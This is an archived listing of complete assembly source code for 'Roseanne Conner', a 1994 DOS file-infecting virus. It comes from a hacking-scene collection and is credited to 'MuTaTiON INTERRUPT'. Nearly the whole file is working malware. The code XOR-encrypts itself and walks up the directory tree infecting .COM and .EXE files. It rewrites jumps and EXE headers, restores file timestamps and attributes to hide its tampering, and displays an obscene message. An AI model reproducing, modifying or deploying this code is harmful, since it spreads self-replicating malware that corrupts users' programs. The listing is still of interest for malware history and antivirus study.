home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / IVUPDAT2.ZIP / IVPCONRS.ZIP / ROSEANNE.ASM < prev    next >
Assembly Source File  |  1994-09-22  |  15KB  |  370 lines

  1. ;  Roseanne Conner written by MuTaTiON INTERRUPT
  2. ;  To compile this use TASM /M Roseanne.asm
  3.  
  4.  
  5. code    segment public 'code'
  6.         assume  cs:code
  7.         org     100h                              ; All .COM files start here
  8.  
  9. ID = 'AB'                                         ; Id for infected files
  10.  
  11. start:
  12.         db 0e9h,0,0                               ; Jump to the next command
  13.  
  14. virus:
  15.         call    realcode                          ; Push current location on stack
  16. realcode:
  17.         pop     bp                                ; Get location off stack
  18.         nop
  19.         sub     bp,offset realcode                ; Adjust it for our pointer
  20.         nop
  21.         nop
  22.         nop
  23.         nop
  24.         nop
  25.         call    encrypt_decrypt                   ; Decrypt the virus first
  26.  
  27. encrypt_start   equ     $                         ; From here is encrypted
  28.  
  29.         cmp     sp,id                             ; COM or EXE?
  30.         je      restoreEXE
  31.  
  32.         lea     si,[bp+offset oldjump]            ; Location of old jump in si
  33.         mov     di,100h                           ; Location of where to put it in di
  34.         push    di                                ; Save so we could just return when done
  35.         movsb                                     ; Move a byte
  36.         movsw                                     ; Move a word
  37.         jmp     exitrestore
  38.  
  39. restoreEXE:
  40.         push    ds                                ; Save ExE ds
  41.         push    es                                ; Save ExE es
  42.         push    cs
  43.         pop     ds                                ; DS now equals CS
  44.         push    cs
  45.         pop     es                                ; ES now equals CS
  46.         lea     si,[bp+jmpsave2]
  47.         lea     di,[bp+jmpsave]
  48.         movsw                                     ; Move a word
  49.         movsw                                     ; Move a word
  50.         movsw                                     ; Move a word
  51.         movsw                                     ; Move a word
  52.  
  53. ExitRestore:
  54.         lea     dx,[bp+offset dta]                ; Where to put New DTA
  55.         call    set_DTA                           ; Move it
  56.  
  57.         mov     ax,3524h                          ; Get int 24 handler
  58.         int     21h                               ; To ES:BX
  59.         mov     word ptr [bp+oldint24],bx         ; Save it
  60.         mov     word ptr [bp+oldint24+2],es
  61.  
  62.         mov     ah,25h                            ; Set new int 24 handler
  63.         lea     dx,[bp+offset int24]              ; DS:DX->new handler
  64.         int     21h
  65.  
  66.         push    cs                                ; Restore ES
  67.         pop     es                                ; 'cuz it was changed
  68.  
  69.         mov     ah,47h                            ; Get the current directory
  70.         mov     dl,0h                             ; On current drive
  71.         lea     si,[bp+offset currentdir]         ; Where to keep it
  72.         int     21h
  73.  
  74. dirloop:
  75.         lea     dx,[bp+offset exefilespec]
  76.         call    findfirst
  77.         lea     dx,[bp+offset comfilespec]
  78.         call    findfirst
  79.  
  80.         lea     dx,[bp+offset directory]          ; Where to change too '..'
  81.         mov     ah,3bh                            ; Change directory
  82.         int     21h
  83.         jnc     dirloop                           ; If no problems the look for files
  84.  
  85.         mov     ah,9                              ; Display string
  86.         lea     dx,[bp+virusname]
  87.         int     21h
  88.  
  89.         mov     ax,2524h                          ; Restore int 24 handler
  90.         lds     dx,[bp+offset oldint24]           ; To original
  91.         int     21h
  92.  
  93.         push    cs
  94.         pop     ds                                ; Do this because the DS gets changed
  95.  
  96.         lea     dx,[bp+offset currentdir]         ; Location Of original dir
  97.         mov     ah,3bh                            ; Change to there
  98.         int     21h
  99.  
  100.         mov     dx,80h                            ; Location of original DTA
  101.         call    set_dta                           ; Put it back there
  102.  
  103.         cmp     sp,id-4                           ; EXE or COM?
  104.         jz      returnEXE
  105.  
  106.         retn                                      ; Return to 100h to original jump
  107.  
  108. ReturnEXE:
  109.         pop     es                                ; Get original ES
  110.         pop     ds                                ; Get original DS
  111.  
  112.         mov     ax,es
  113.         add     ax,10h
  114.         add     word ptr cs:[bp+jmpsave+2],ax
  115.         add     ax,word ptr cs:[bp+stacksave+2]
  116.         cli                                       ; Clear int's because of stack manipulation
  117.         mov     sp,word ptr cs:[bp+stacksave]
  118.         mov     ss,ax
  119.         sti
  120.         db      0eah                              ; Jump ssss:oooo
  121. jmpsave dd      ?                                 ; Jump location
  122. stacksave dd    ?                                 ; Original cs:ip
  123. jmpsave2 dd     0fff00000h                        ; Used with carrier file
  124. stacksave2 dd   ?
  125.  
  126. findfirst:
  127.         mov     ah,4eh                            ; Find first file
  128.         mov     cx,7                              ; Find all attributes
  129.  
  130. findnext:
  131.         int     21h                               ; Find first/next file int
  132.         jc      quit                              ; If none found then change dir
  133.  
  134.         call    infection                         ; Infect that file
  135.  
  136. Findnext2:
  137.         mov     ah,4fh                            ; Find next file
  138.         jmp     findnext                          ; Jump to the loop
  139.  
  140. quit:
  141.         ret
  142.  
  143. infection:
  144.         mov     ax,3d00h                          ; Open file for read only
  145.         call    open
  146.  
  147.         mov     ah,3fh                            ; Read from file
  148.         mov     cx,1ah
  149.         lea     dx,[bp+offset buffer]             ; Location to store them
  150.         int     21h
  151.  
  152.         mov     ah,3eh                            ; Close file
  153.         int     21h
  154.  
  155.         cmp     word ptr [bp+buffer],'ZM'         ; EXE?
  156.         jz      checkEXE                          ; Why yes, yes it is!
  157.         mov     ax,word ptr [bp+DTA+35]           ; Get end of file name in ax
  158.         cmp     ax,'DN'                           ; Does End in comma'ND'? (reverse order)
  159.         jz      quitinfect                        ; Yup so get another file
  160.  
  161. CheckCom:
  162.         mov     bx,[bp+offset dta+1ah]            ; Get file size
  163.         mov     cx,word ptr [bp+buffer+1]         ; Get jump loc of file
  164.         add     cx,eof-virus+3                    ; Add for virus size
  165.  
  166.         cmp     bx,cx                             ; Does file size=file jump+virus size
  167.         jz      quitinfect                        ; Yup then get another file
  168.         jmp     infectcom
  169.  
  170. CheckExe:
  171.         cmp     word ptr [bp+buffer+10h],id       ; Check EXE for infection
  172.         jz      quitinfect                        ; Already infected so close up
  173.         jmp     infectexe
  174.  
  175. quitinfect:
  176.         ret
  177.  
  178. InfectCom:
  179.         sub     bx,3                              ; Adjust for new jump
  180.         lea     si,[bp+buffer]
  181.         lea     di,[bp+oldjump]
  182.         movsw
  183.         movsb
  184.         mov     [bp+buffer],byte ptr 0e9h
  185.         mov     word ptr [bp+buffer+1],bx         ; Save for later
  186.  
  187.         mov     cx,3                              ; Number of bytes to write
  188.  
  189.         jmp     finishinfection
  190. InfectExe:
  191.         les     ax,dword ptr [bp+buffer+14h]      ; Load es with seg address
  192.         mov     word ptr [bp+jmpsave2],ax         ; save old cs:ip
  193.         mov     word ptr [bp+jmpsave2+2],es
  194.  
  195.         les     ax,dword ptr [bp+buffer+0eh]      ; save old ss:sp
  196.         mov     word ptr [bp+stacksave2],es       ; save old cs:ip
  197.         mov     word ptr [bp+stacksave2+2],ax
  198.  
  199.         mov     ax, word ptr [bp+buffer+8]        ; get header size
  200.         mov     cl,4
  201.         shl     ax,cl
  202.         xchg    ax,bx
  203.         les     ax,[bp+offset DTA+26]             ; get files size from dta
  204.         mov     dx,es                             ; its now in dx:ax
  205.         push    ax                                ; save these
  206.         push    dx
  207.  
  208.         sub     ax,bx                             ; subtract header size from fsize
  209.         sbb     dx,0                              ; subtract the carry too
  210.         mov     cx,10h                            ; convert to segment:offset form
  211.         div     cx
  212.  
  213.         mov     word ptr [bp+buffer+14h],dx       ; put in new header
  214.         mov     word ptr [bp+buffer+16h],ax       ; cs:ip
  215.  
  216.         mov     word ptr [bp+buffer+0eh],ax       ; ss:sp
  217.         mov     word ptr [bp+buffer+10h],id       ; put id in for later
  218.         pop     dx                                ; get the file length back
  219.         pop     ax
  220.  
  221.         add     ax,eof-virus                      ; add virus size
  222.         adc     dx,0                              ; add with carry
  223.  
  224.         mov     cl,9                              ; calculates new file size
  225.         push    ax
  226.         shr     ax,cl
  227.         ror     dx,cl
  228.         stc
  229.         adc     dx,ax
  230.         pop     ax
  231.         and     ah,1
  232.  
  233.         mov     word ptr [bp+buffer+4],dx         ; save new file size in header
  234.         mov     word ptr [bp+buffer+2],ax
  235.  
  236.         push    cs                                ; es = cs
  237.         pop     es
  238.  
  239.         mov     cx,1ah                            ; Number of bytes to write (Header)
  240. FinishInfection:
  241.         push    cx                                ; save # of bytes to write
  242.         xor     cx,cx                             ; Set attriutes to none
  243.         call    attributes
  244.  
  245.         mov     al,2                              ; open file read/write
  246.         call    open
  247.  
  248.         mov     ah,40h                            ; Write to file
  249.         lea     dx,[bp+buffer]                    ; Location of bytes
  250.         pop     cx                                ; Get number of bytes to write
  251.         int     21h
  252.         jc      closefile
  253.  
  254.         mov     al,02                             ; Move Fpointer to eof
  255.         Call    move_fp
  256.  
  257. get_time:
  258.         mov     ah,2ch                            ; Get time for our encryption value
  259.         int     21h
  260.         cmp     dh,0                              ; If its seconds are zere get another
  261.         je      get_time
  262.         mov     [bp+enc_value],dh                 ; Use seconds value for encryption
  263.         call    encrypt_infect                    ; Encrypt and infect the file
  264. closefile:
  265.         mov     ax,5701h                          ; Set files date/time back
  266.         mov     cx,word ptr [bp+dta+16h]          ; Get old time from dta
  267.         mov     dx,word ptr [bp+dta+18h]          ; Get old date
  268.         int     21h
  269.  
  270.         mov     ah,3eh                            ; Close file
  271.         int     21h
  272.  
  273.         xor     cx,cx
  274.         mov     cl,byte ptr [bp+dta+15h]          ; Get old Attributes
  275.         call    attributes
  276.  
  277.         retn
  278.  
  279. move_fp:
  280.         mov     ah,42h                            ; Move file pointer
  281.         xor     cx,cx                             ; Al has location
  282.         xor     dx,dx                             ; Clear these
  283.         int     21h
  284.         retn
  285.  
  286. set_dta:
  287.         mov     ah,1ah                            ; Move the DTA location
  288.         int     21h
  289.         retn
  290.  
  291. open:
  292.         mov     ah,3dh                            ; open file
  293.         lea     dx,[bp+DTA+30]                    ; filename in DTA
  294.         int     21h
  295.         xchg    ax,bx                             ; file handle in bx
  296.         ret
  297.  
  298. attributes:
  299.         mov     ax,4301h                          ; Set attributes to cx
  300.         lea     dx,[bp+DTA+30]                    ; filename in DTA
  301.         int     21h
  302.         ret
  303. int24:                                            ; New int 24h (error) handler
  304.         mov     al,3                              ; Fail call
  305.         iret                                      ; Return from int 24 call
  306.  
  307. Virusname db 'Roseanne Conner - Ya! Fuck You Too...',10,13
  308. Author    db 'MuTaTiON INTERRUPT',10,13           ; Author Of This Virus
  309. Made_with db '[NOVEMBER 1994]',10,13,'$'          ; Please do not remove this
  310.  
  311. comfilespec  db  '*.com',0                        ; Holds type of file to look for
  312. exefilespec  db  '*.exe',0                        ; Holds type of file to look for
  313. directory    db '..',0                            ; Directory to change to
  314. oldjump      db  0cdh,020h,0h                     ; Old jump.  Is int 20h for file quit
  315.  
  316. encrypt_infect:
  317.         lea     si,[bp+offset move_begin]         ; Location of where to move from
  318.         lea     di,[bp+offset workarea]           ; Where to move it too
  319.         mov     cx,move_end-move_begin            ; Number of bytes to move
  320. move_loop:
  321.         movsb                                     ; Moves this routine into heap
  322.         loop    move_loop
  323.         lea     dx,[bp+offset workarea]
  324.         call    dx                                ; Jump to that routine just moved
  325.         ret
  326.  
  327. move_begin    equ     $                           ; Marks beginning of move
  328.         push    bx                                ; Save the file handle
  329.         lea     dx,[bp+offset encrypt_end]
  330.         call    dx                                ; Call the encrypt_decrypt procedure
  331.         pop     bx                                ; Get handle back in bx and return
  332.         mov     ah,40h                            ; Write to file
  333.         mov     cx,eof-virus                      ; Number of bytes
  334.         lea     dx,[bp+offset virus]              ; Where to write from
  335.         int     21h
  336.         push    bx                                ; Save the file handle
  337.         lea     dx,[bp+offset encrypt_end]
  338.         call    dx                                ; Decrypt the file and return
  339.         pop     bx                                ; Get handle back in bx and return
  340.         ret
  341. move_end      equ     $                           ; Marks the end of move
  342.  
  343. encrypt_end   equ     $                           ; Marks the end of encryption
  344.  
  345. encrypt_decrypt:
  346.         lea     bx,[bp+encrypt_start]             ; Where to start encryption
  347.         mov     cx,encrypt_end-encrypt_start      ; Number of bytes to encrypt
  348.         mov     dh,[bp+enc_value]                 ; Value to use for encryption
  349. encrypt_loop:
  350.         mov     ah,cs:[bx]                        ; Get a byte in ah
  351.         xor     ah,dh                             ; Xor it
  352.         mov     cs:[bx],ah                        ; Put it back
  353.         inc     bx                                ; Move to next byte and loop
  354.         loop    encrypt_loop
  355.         ret
  356.  
  357. enc_value     db    00h                           ; Hold the encryption value 00 for nul effect
  358.  
  359. eof     equ     $                                 ; Marks the end of file
  360.  
  361. workarea db     move_end-move_begin dup (?)       ; Holds the encrypt_infect routine
  362. currentdir db   64 dup (?)                        ; Holds the current dir
  363. dta     db      42 dup (?)                        ; Location of new DTA
  364. buffer db 1ah dup (?)                             ; Holds exe header
  365. oldint24 dd ?                                     ; Storage for old int 24h handler
  366.  
  367. code    ends
  368.         end     start
  369.  
  370.